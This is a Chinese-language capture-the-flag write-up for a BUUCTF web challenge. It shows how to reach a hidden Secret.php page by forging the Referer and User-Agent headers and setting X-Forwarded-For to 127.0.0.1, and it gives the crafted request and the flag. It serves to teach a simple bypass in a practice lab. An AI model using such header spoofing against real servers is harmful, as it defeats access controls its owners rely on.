考察点
信息收集
http构造请求数据包
题目
解题步骤
参考文章:https://zhuanlan.zhihu.com/p/367051798
查看源代码
发现有一个a标签,但是οnclick="return false"就是点击后不会去跳转到Secret.php的页面
所以我就自己拼接url
http://node4.buuoj.cn:26913/Secret.php
提示不是从 https://Sycsecret.buuoj.cn 这个网址过来的
那么就用hackbar进行referer传值
又给提示要用 “Syclover” browser 这个浏览器访问,那么继续用hackbar加ua值
提示,你只能够在本地读取这个文件!!!
这是限制了文件访问的源地址,可用通过X-Forwarded-For参数来伪造访问的源地址,这里可以修改为127.0.0.1或localhost,如下图所示:
最终得到flag
flag{823ce916-7669-409d-94b4-a33ab493d35e}
提交flag
总结
最终构造的请求包为:
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:26913
User-Agent: "Syclover" browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://Sycsecret.buuoj.cn
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
DNT: 1
第一步是前端的js代码限制了点击跳转链接的功能
onclick="return false"
那么就自己去拼接url,得到响应结果,又要构造请求的数据包请求头,那么最终的请求包为:
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:26913
User-Agent: "Syclover" browser # ua代表请求网页浏览器的信息
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://Sycsecret.buuoj.cn # 代表从哪个链接跳转到当前网页的
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1 # 代表访问该服务器的本地资源
DNT: 1